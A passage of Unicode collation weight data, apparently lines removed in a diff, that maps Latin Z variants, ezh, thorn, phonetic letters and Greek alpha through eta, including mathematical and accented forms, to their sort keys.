-1D76  ; [.1EA5.0020.0002] # LATIN SMALL LETTER Z WITH MIDDLE TILDE
-1D8E  ; [.1EA6.0020.0002] # LATIN SMALL LETTER Z WITH PALATAL HOOK
-0225  ; [.1EA7.0020.0002] # LATIN SMALL LETTER Z WITH HOOK
-0224  ; [.1EA7.0020.0008] # LATIN CAPITAL LETTER Z WITH HOOK
-0290  ; [.1EAB.0020.0002] # LATIN SMALL LETTER Z WITH RETROFLEX HOOK
-1DBC  ; [.1EAB.0020.0014] # MODIFIER LETTER SMALL Z WITH RETROFLEX HOOK
-0291  ; [.1EAF.0020.0002] # LATIN SMALL LETTER Z WITH CURL
-1DBD  ; [.1EAF.0020.0014] # MODIFIER LETTER SMALL Z WITH CURL
-0240  ; [.1EB3.0020.0002] # LATIN SMALL LETTER Z WITH SWASH TAIL
-2C7F  ; [.1EB3.0020.0008] # LATIN CAPITAL LETTER Z WITH SWASH TAIL
-2C6C  ; [.1EB7.0020.0002] # LATIN SMALL LETTER Z WITH DESCENDER
-2C6B  ; [.1EB7.0020.0008] # LATIN CAPITAL LETTER Z WITH DESCENDER
-A763  ; [.1EB8.0020.0002] # LATIN SMALL LETTER VISIGOTHIC Z
-A762  ; [.1EB8.0020.0008] # LATIN CAPITAL LETTER VISIGOTHIC Z
-0292  ; [.1EB9.0020.0002] # LATIN SMALL LETTER EZH
-01B7  ; [.1EB9.0020.0008] # LATIN CAPITAL LETTER EZH
-1DBE  ; [.1EB9.0020.0014] # MODIFIER LETTER SMALL EZH
-01EF  ; [.1EB9.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER EZH WITH CARON
-01EE  ; [.1EB9.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER EZH WITH CARON
-1D23  ; [.1EBD.0020.0002] # LATIN LETTER SMALL CAPITAL EZH
-01B9  ; [.1EBE.0020.0002] # LATIN SMALL LETTER EZH REVERSED
-01B8  ; [.1EBE.0020.0008] # LATIN CAPITAL LETTER EZH REVERSED
-1D9A  ; [.1EC2.0020.0002] # LATIN SMALL LETTER EZH WITH RETROFLEX HOOK
-01BA  ; [.1EC3.0020.0002] # LATIN SMALL LETTER EZH WITH TAIL
-0293  ; [.1EC7.0020.0002] # LATIN SMALL LETTER EZH WITH CURL
-00FE  ; [.1ECB.0020.0002] # LATIN SMALL LETTER THORN
-00DE  ; [.1ECB.0020.0008] # LATIN CAPITAL LETTER THORN
-A765  ; [.1ECF.0020.0002] # LATIN SMALL LETTER THORN WITH STROKE
-A764  ; [.1ECF.0020.0008] # LATIN CAPITAL LETTER THORN WITH STROKE
-A767  ; [.1ED0.0020.0002] # LATIN SMALL LETTER THORN WITH STROKE THROUGH DESCENDER
-A766  ; [.1ED0.0020.0008] # LATIN CAPITAL LETTER THORN WITH STROKE THROUGH DESCENDER
-01BF  ; [.1ED1.0020.0002] # LATIN LETTER WYNN
-01F7  ; [.1ED1.0020.0008] # LATIN CAPITAL LETTER WYNN
-A769  ; [.1ED5.0020.0002] # LATIN SMALL LETTER VEND
-A768  ; [.1ED5.0020.0008] # LATIN CAPITAL LETTER VEND
-AB60  ; [.1ED6.0020.0002] # LATIN SMALL LETTER SAKHA YAT
-AB61  ; [.1ED7.0020.0002] # LATIN SMALL LETTER IOTIFIED E
-AB63  ; [.1ED8.0020.0002] # LATIN SMALL LETTER UO
-A76B  ; [.1ED9.0020.0002] # LATIN SMALL LETTER ET
-A76A  ; [.1ED9.0020.0008] # LATIN CAPITAL LETTER ET
-A76D  ; [.1EDA.0020.0002] # LATIN SMALL LETTER IS
-A76C  ; [.1EDA.0020.0008] # LATIN CAPITAL LETTER IS
-A76F  ; [.1EDB.0020.0002] # LATIN SMALL LETTER CON
-1DD2  ; [.1EDB.0020.0004] # COMBINING US ABOVE
-A76E  ; [.1EDB.0020.0008] # LATIN CAPITAL LETTER CON
-A770  ; [.1EDB.0020.0014] # MODIFIER LETTER US
-A778  ; [.1EDC.0020.0002] # LATIN SMALL LETTER UM
-01BB  ; [.1EDD.0020.0002] # LATIN LETTER TWO WITH STROKE
-A72B  ; [.1EE1.0020.0002] # LATIN SMALL LETTER TRESILLO
-A72A  ; [.1EE1.0020.0008] # LATIN CAPITAL LETTER TRESILLO
-A72D  ; [.1EE2.0020.0002] # LATIN SMALL LETTER CUATRILLO
-A72C  ; [.1EE2.0020.0008] # LATIN CAPITAL LETTER CUATRILLO
-A72F  ; [.1EE3.0020.0002] # LATIN SMALL LETTER CUATRILLO WITH COMMA
-A72E  ; [.1EE3.0020.0008] # LATIN CAPITAL LETTER CUATRILLO WITH COMMA
-01A8  ; [.1EE4.0020.0002] # LATIN SMALL LETTER TONE TWO
-01A7  ; [.1EE4.0020.0008] # LATIN CAPITAL LETTER TONE TWO
-01BD  ; [.1EE8.0020.0002] # LATIN SMALL LETTER TONE FIVE
-01BC  ; [.1EE8.0020.0008] # LATIN CAPITAL LETTER TONE FIVE
-0185  ; [.1EEC.0020.0002] # LATIN SMALL LETTER TONE SIX
-0184  ; [.1EEC.0020.0008] # LATIN CAPITAL LETTER TONE SIX
-0294  ; [.1EF0.0020.0002] # LATIN LETTER GLOTTAL STOP
-0242  ; [.1EF4.0020.0002] # LATIN SMALL LETTER GLOTTAL STOP
-0241  ; [.1EF4.0020.0008] # LATIN CAPITAL LETTER GLOTTAL STOP
-02C0  ; [.1EF8.0020.0002] # MODIFIER LETTER GLOTTAL STOP
-02BC  ; [.1EF9.0020.0002] # MODIFIER LETTER APOSTROPHE
-0149  ; [.1EF9.0020.0004][.1D34.0020.0004] # LATIN SMALL LETTER N PRECEDED BY APOSTROPHE
-02EE  ; [.1EFA.0020.0002] # MODIFIER LETTER DOUBLE APOSTROPHE
-02BE  ; [.1EFB.0020.0002] # MODIFIER LETTER RIGHT HALF RING
-A723  ; [.1EFC.0020.0002] # LATIN SMALL LETTER EGYPTOLOGICAL ALEF
-A722  ; [.1EFC.0020.0008] # LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF
-A78C  ; [.1EFD.0020.0002] # LATIN SMALL LETTER SALTILLO
-A78B  ; [.1EFD.0020.0008] # LATIN CAPITAL LETTER SALTILLO
-A78F  ; [.1EFE.0020.0002] # LATIN LETTER SINOLOGICAL DOT
-0295  ; [.1EFF.0020.0002] # LATIN LETTER PHARYNGEAL VOICED FRICATIVE
-02E4  ; [.1EFF.0020.0014] # MODIFIER LETTER SMALL REVERSED GLOTTAL STOP
-02BF  ; [.1F03.0020.0002] # MODIFIER LETTER LEFT HALF RING
-02C1  ; [.1F04.0020.0002] # MODIFIER LETTER REVERSED GLOTTAL STOP
-1D24  ; [.1F05.0020.0002] # LATIN LETTER VOICED LARYNGEAL SPIRANT
-1D25  ; [.1F06.0020.0002] # LATIN LETTER AIN
-1D5C  ; [.1F06.0020.0014] # MODIFIER LETTER SMALL AIN
-A725  ; [.1F07.0020.0002] # LATIN SMALL LETTER EGYPTOLOGICAL AIN
-A724  ; [.1F07.0020.0008] # LATIN CAPITAL LETTER EGYPTOLOGICAL AIN
-02A1  ; [.1F08.0020.0002] # LATIN LETTER GLOTTAL STOP WITH STROKE
-02A2  ; [.1F0C.0020.0002] # LATIN LETTER REVERSED GLOTTAL STOP WITH STROKE
-0296  ; [.1F10.0020.0002] # LATIN LETTER INVERTED GLOTTAL STOP
-01C0  ; [.1F14.0020.0002] # LATIN LETTER DENTAL CLICK
-01C1  ; [.1F18.0020.0002] # LATIN LETTER LATERAL CLICK
-01C2  ; [.1F1C.0020.0002] # LATIN LETTER ALVEOLAR CLICK
-01C3  ; [.1F20.0020.0002] # LATIN LETTER RETROFLEX CLICK
-0297  ; [.1F24.0020.0002] # LATIN LETTER STRETCHED C
-0298  ; [.1F28.0020.0002] # LATIN LETTER BILABIAL CLICK
-02AC  ; [.1F2C.0020.0002] # LATIN LETTER BILABIAL PERCUSSIVE
-02AD  ; [.1F30.0020.0002] # LATIN LETTER BIDENTAL PERCUSSIVE
-03B1  ; [.1F34.0020.0002] # GREEK SMALL LETTER ALPHA
-1D6C2 ; [.1F34.0020.0005] # MATHEMATICAL BOLD SMALL ALPHA
-1D6FC ; [.1F34.0020.0005] # MATHEMATICAL ITALIC SMALL ALPHA
-1D736 ; [.1F34.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL ALPHA
-1D770 ; [.1F34.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL ALPHA
-1D7AA ; [.1F34.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ALPHA
-0391  ; [.1F34.0020.0008] # GREEK CAPITAL LETTER ALPHA
-1D6A8 ; [.1F34.0020.000B] # MATHEMATICAL BOLD CAPITAL ALPHA
-1D6E2 ; [.1F34.0020.000B] # MATHEMATICAL ITALIC CAPITAL ALPHA
-1D71C ; [.1F34.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL ALPHA
-1D756 ; [.1F34.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL ALPHA
-1D790 ; [.1F34.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ALPHA
-1F00  ; [.1F34.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER ALPHA WITH PSILI
-1F08  ; [.1F34.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI
-1F04  ; [.1F34.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA
-1F0C  ; [.1F34.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA
-1F84  ; [.1F34.0020.0002][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA AND YPOGEGRAMMENI
-1F8C  ; [.1F34.0020.0008][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA AND PROSGEGRAMMENI
-1F02  ; [.1F34.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA
-1F0A  ; [.1F34.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA
-1F82  ; [.1F34.0020.0002][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA AND YPOGEGRAMMENI
-1F8A  ; [.1F34.0020.0008][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA AND PROSGEGRAMMENI
-1F06  ; [.1F34.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI
-1F0E  ; [.1F34.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI
-1F86  ; [.1F34.0020.0002][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
-1F8E  ; [.1F34.0020.0008][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
-1F80  ; [.1F34.0020.0002][.0000.0022.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI
-1F88  ; [.1F34.0020.0008][.0000.0022.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND PROSGEGRAMMENI
-1F01  ; [.1F34.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER ALPHA WITH DASIA
-1F09  ; [.1F34.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA
-1F05  ; [.1F34.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA
-1F0D  ; [.1F34.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA
-1F85  ; [.1F34.0020.0002][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA AND YPOGEGRAMMENI
-1F8D  ; [.1F34.0020.0008][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA AND PROSGEGRAMMENI
-1F03  ; [.1F34.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA
-1F0B  ; [.1F34.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA
-1F83  ; [.1F34.0020.0002][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA AND YPOGEGRAMMENI
-1F8B  ; [.1F34.0020.0008][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA AND PROSGEGRAMMENI
-1F07  ; [.1F34.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI
-1F0F  ; [.1F34.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI
-1F87  ; [.1F34.0020.0002][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
-1F8F  ; [.1F34.0020.0008][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
-1F81  ; [.1F34.0020.0002][.0000.0023.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND YPOGEGRAMMENI
-1F89  ; [.1F34.0020.0008][.0000.0023.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND PROSGEGRAMMENI
-03AC  ; [.1F34.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH TONOS
-1F71  ; [.1F34.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH OXIA
-0386  ; [.1F34.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH TONOS
-1FBB  ; [.1F34.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH OXIA
-1FB4  ; [.1F34.0020.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH OXIA AND YPOGEGRAMMENI
-1F70  ; [.1F34.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER ALPHA WITH VARIA
-1FBA  ; [.1F34.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER ALPHA WITH VARIA
-1FB2  ; [.1F34.0020.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH VARIA AND YPOGEGRAMMENI
-1FB0  ; [.1F34.0020.0002][.0000.0026.0002] # GREEK SMALL LETTER ALPHA WITH VRACHY
-1FB8  ; [.1F34.0020.0008][.0000.0026.0002] # GREEK CAPITAL LETTER ALPHA WITH VRACHY
-1FB6  ; [.1F34.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER ALPHA WITH PERISPOMENI
-1FB7  ; [.1F34.0020.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PERISPOMENI AND YPOGEGRAMMENI
-1FB1  ; [.1F34.0020.0002][.0000.0032.0002] # GREEK SMALL LETTER ALPHA WITH MACRON
-1FB9  ; [.1F34.0020.0008][.0000.0032.0002] # GREEK CAPITAL LETTER ALPHA WITH MACRON
-1FB3  ; [.1F34.0020.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH YPOGEGRAMMENI
-1FBC  ; [.1F34.0020.0008][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI
-03B2  ; [.1F35.0020.0002] # GREEK SMALL LETTER BETA
-03D0  ; [.1F35.0020.0004] # GREEK BETA SYMBOL
-1D6C3 ; [.1F35.0020.0005] # MATHEMATICAL BOLD SMALL BETA
-1D6FD ; [.1F35.0020.0005] # MATHEMATICAL ITALIC SMALL BETA
-1D737 ; [.1F35.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL BETA
-1D771 ; [.1F35.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL BETA
-1D7AB ; [.1F35.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL BETA
-0392  ; [.1F35.0020.0008] # GREEK CAPITAL LETTER BETA
-1D6A9 ; [.1F35.0020.000B] # MATHEMATICAL BOLD CAPITAL BETA
-1D6E3 ; [.1F35.0020.000B] # MATHEMATICAL ITALIC CAPITAL BETA
-1D71D ; [.1F35.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL BETA
-1D757 ; [.1F35.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL BETA
-1D791 ; [.1F35.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL BETA
-1D5D  ; [.1F35.0020.0014] # MODIFIER LETTER SMALL BETA
-1D66  ; [.1F35.0020.0015] # GREEK SUBSCRIPT SMALL LETTER BETA
-03B3  ; [.1F36.0020.0002] # GREEK SMALL LETTER GAMMA
-213D  ; [.1F36.0020.0005] # DOUBLE-STRUCK SMALL GAMMA
-1D6C4 ; [.1F36.0020.0005] # MATHEMATICAL BOLD SMALL GAMMA
-1D6FE ; [.1F36.0020.0005] # MATHEMATICAL ITALIC SMALL GAMMA
-1D738 ; [.1F36.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL GAMMA
-1D772 ; [.1F36.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL GAMMA
-1D7AC ; [.1F36.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL GAMMA
-0393  ; [.1F36.0020.0008] # GREEK CAPITAL LETTER GAMMA
-213E  ; [.1F36.0020.000B] # DOUBLE-STRUCK CAPITAL GAMMA
-1D6AA ; [.1F36.0020.000B] # MATHEMATICAL BOLD CAPITAL GAMMA
-1D6E4 ; [.1F36.0020.000B] # MATHEMATICAL ITALIC CAPITAL GAMMA
-1D71E ; [.1F36.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL GAMMA
-1D758 ; [.1F36.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL GAMMA
-1D792 ; [.1F36.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL GAMMA
-1D5E  ; [.1F36.0020.0014] # MODIFIER LETTER SMALL GREEK GAMMA
-1D67  ; [.1F36.0020.0015] # GREEK SUBSCRIPT SMALL LETTER GAMMA
-1D26  ; [.1F37.0020.0002] # GREEK LETTER SMALL CAPITAL GAMMA
-03B4  ; [.1F38.0020.0002] # GREEK SMALL LETTER DELTA
-1D6C5 ; [.1F38.0020.0005] # MATHEMATICAL BOLD SMALL DELTA
-1D6FF ; [.1F38.0020.0005] # MATHEMATICAL ITALIC SMALL DELTA
-1D739 ; [.1F38.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL DELTA
-1D773 ; [.1F38.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL DELTA
-1D7AD ; [.1F38.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL DELTA
-0394  ; [.1F38.0020.0008] # GREEK CAPITAL LETTER DELTA
-1D6AB ; [.1F38.0020.000B] # MATHEMATICAL BOLD CAPITAL DELTA
-1D6E5 ; [.1F38.0020.000B] # MATHEMATICAL ITALIC CAPITAL DELTA
-1D71F ; [.1F38.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL DELTA
-1D759 ; [.1F38.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL DELTA
-1D793 ; [.1F38.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL DELTA
-1D5F  ; [.1F38.0020.0014] # MODIFIER LETTER SMALL DELTA
-03B5  ; [.1F39.0020.0002] # GREEK SMALL LETTER EPSILON
-03F5  ; [.1F39.0020.0004] # GREEK LUNATE EPSILON SYMBOL
-1D6C6 ; [.1F39.0020.0005] # MATHEMATICAL BOLD SMALL EPSILON
-1D6DC ; [.1F39.0020.0005] # MATHEMATICAL BOLD EPSILON SYMBOL
-1D700 ; [.1F39.0020.0005] # MATHEMATICAL ITALIC SMALL EPSILON
-1D716 ; [.1F39.0020.0005] # MATHEMATICAL ITALIC EPSILON SYMBOL
-1D73A ; [.1F39.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL EPSILON
-1D750 ; [.1F39.0020.0005] # MATHEMATICAL BOLD ITALIC EPSILON SYMBOL
-1D774 ; [.1F39.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL EPSILON
-1D78A ; [.1F39.0020.0005] # MATHEMATICAL SANS-SERIF BOLD EPSILON SYMBOL
-1D7AE ; [.1F39.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL EPSILON
-1D7C4 ; [.1F39.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC EPSILON SYMBOL
-0395  ; [.1F39.0020.0008] # GREEK CAPITAL LETTER EPSILON
-1D6AC ; [.1F39.0020.000B] # MATHEMATICAL BOLD CAPITAL EPSILON
-1D6E6 ; [.1F39.0020.000B] # MATHEMATICAL ITALIC CAPITAL EPSILON
-1D720 ; [.1F39.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL EPSILON
-1D75A ; [.1F39.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL EPSILON
-1D794 ; [.1F39.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL EPSILON
-1F10  ; [.1F39.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER EPSILON WITH PSILI
-1F18  ; [.1F39.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER EPSILON WITH PSILI
-1F14  ; [.1F39.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH PSILI AND OXIA
-1F1C  ; [.1F39.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH PSILI AND OXIA
-1F12  ; [.1F39.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER EPSILON WITH PSILI AND VARIA
-1F1A  ; [.1F39.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER EPSILON WITH PSILI AND VARIA
-1F11  ; [.1F39.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER EPSILON WITH DASIA
-1F19  ; [.1F39.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER EPSILON WITH DASIA
-1F15  ; [.1F39.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA
-1F1D  ; [.1F39.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA
-1F13  ; [.1F39.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER EPSILON WITH DASIA AND VARIA
-1F1B  ; [.1F39.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER EPSILON WITH DASIA AND VARIA
-03AD  ; [.1F39.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH TONOS
-1F73  ; [.1F39.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH OXIA
-0388  ; [.1F39.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH TONOS
-1FC9  ; [.1F39.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH OXIA
-1F72  ; [.1F39.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER EPSILON WITH VARIA
-1FC8  ; [.1F39.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER EPSILON WITH VARIA
-03DD  ; [.1F3A.0020.0002] # GREEK SMALL LETTER DIGAMMA
-1D7CB ; [.1F3A.0020.0005] # MATHEMATICAL BOLD SMALL DIGAMMA
-03DC  ; [.1F3A.0020.0008] # GREEK LETTER DIGAMMA
-1D7CA ; [.1F3A.0020.000B] # MATHEMATICAL BOLD CAPITAL DIGAMMA
-0377  ; [.1F3B.0020.0002] # GREEK SMALL LETTER PAMPHYLIAN DIGAMMA
-0376  ; [.1F3B.0020.0008] # GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA
-03DB  ; [.1F3C.0020.0002] # GREEK SMALL LETTER STIGMA
-03DA  ; [.1F3C.0020.0008] # GREEK LETTER STIGMA
-03B6  ; [.1F3D.0020.0002] # GREEK SMALL LETTER ZETA
-1D6C7 ; [.1F3D.0020.0005] # MATHEMATICAL BOLD SMALL ZETA
-1D701 ; [.1F3D.0020.0005] # MATHEMATICAL ITALIC SMALL ZETA
-1D73B ; [.1F3D.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL ZETA
-1D775 ; [.1F3D.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL ZETA
-1D7AF ; [.1F3D.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ZETA
-0396  ; [.1F3D.0020.0008] # GREEK CAPITAL LETTER ZETA
-1D6AD ; [.1F3D.0020.000B] # MATHEMATICAL BOLD CAPITAL ZETA
-1D6E7 ; [.1F3D.0020.000B] # MATHEMATICAL ITALIC CAPITAL ZETA
-1D721 ; [.1F3D.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL ZETA
-1D75B ; [.1F3D.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL ZETA
-1D795 ; [.1F3D.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ZETA
-0371  ; [.1F3E.0020.0002] # GREEK SMALL LETTER HETA
-0370  ; [.1F3E.0020.0008] # GREEK CAPITAL LETTER HETA
-03B7  ; [.1F3F.0020.0002] # GREEK SMALL LETTER ETA
-1D6C8 ; [.1F3F.0020.0005] # MATHEMATICAL BOLD SMALL ETA
-1D702 ; [.1F3F.0020.0005] # MATHEMATICAL ITALIC SMALL ETA
-1D73C ; [.1F3F.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL ETA
-1D776 ; [.1F3F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL ETA
-1D7B0 ; [.1F3F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ETA
-0397  ; [.1F3F.0020.0008] # GREEK CAPITAL LETTER ETA
-1D6AE ; [.1F3F.0020.000B] # MATHEMATICAL BOLD CAPITAL ETA
-1D6E8 ; [.1F3F.0020.000B] # MATHEMATICAL ITALIC CAPITAL ETA
-1D722 ; [.1F3F.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL ETA
-1D75C ; [.1F3F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL ETA
-1D796 ; [.1F3F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ETA
-1F20  ; [.1F3F.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER ETA WITH PSILI
-1F28  ; [.1F3F.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER ETA WITH PSILI
-1F24  ; [.1F3F.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH PSILI AND OXIA
-1F2C  ; [.1F3F.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA
-1F94  ; [.1F3F.0020.0002][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND OXIA AND YPOGEGRAMMENI
-1F9C  ; [.1F3F.0020.0008][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA AND PROSGEGRAMMENI
-1F22  ; [.1F3F.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER ETA WITH PSILI AND VARIA
-1F2A  ; [.1F3F.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA
-1F92  ; [.1F3F.0020.0002][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND VARIA AND YPOGEGRAMMENI
-1F9A  ; [.1F3F.0020.0008][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA AND PROSGEGRAMMENI
-1F26  ; [.1F3F.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI
-1F2E  ; [.1F3F.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI
-1F96  ; [.1F3F.0020.0002][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
-1F9E  ; [.1F3F.0020.0008][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
